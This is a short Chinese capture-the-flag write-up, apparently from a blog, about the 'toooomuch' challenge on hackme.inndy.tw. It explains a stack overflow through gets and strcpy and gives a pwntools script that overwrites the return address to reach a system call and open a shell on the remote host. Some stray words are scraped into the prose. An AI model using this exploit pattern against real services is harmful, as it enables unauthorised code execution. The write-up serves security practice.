一开始看到这个漏洞仍是蛮明显的~python
这里s的长度只有0x18个字节,而后用的是gets和strcpy来输入和传递,意味着没有长度限制与安全检查,因此能够直接缓冲区溢出来覆盖函数返回地址安全
返回地址在ebp + 4,这里是ebp - 18函数
中间的填充值也就好算了~和homework同样,这里有现成的函数重用code
代码以下:blog
#!/usr/bin/env python # coding=utf-8 from pwn import * io = remote("hackme.inndy.tw", 7702) #io = process("./toooomuch") io.recvuntil("passcode: ") system_addr = 0x0804863B payload = 0x18 * "A" + 4 * "B" + p32(system_addr) io.sendline(payload) io.interactive()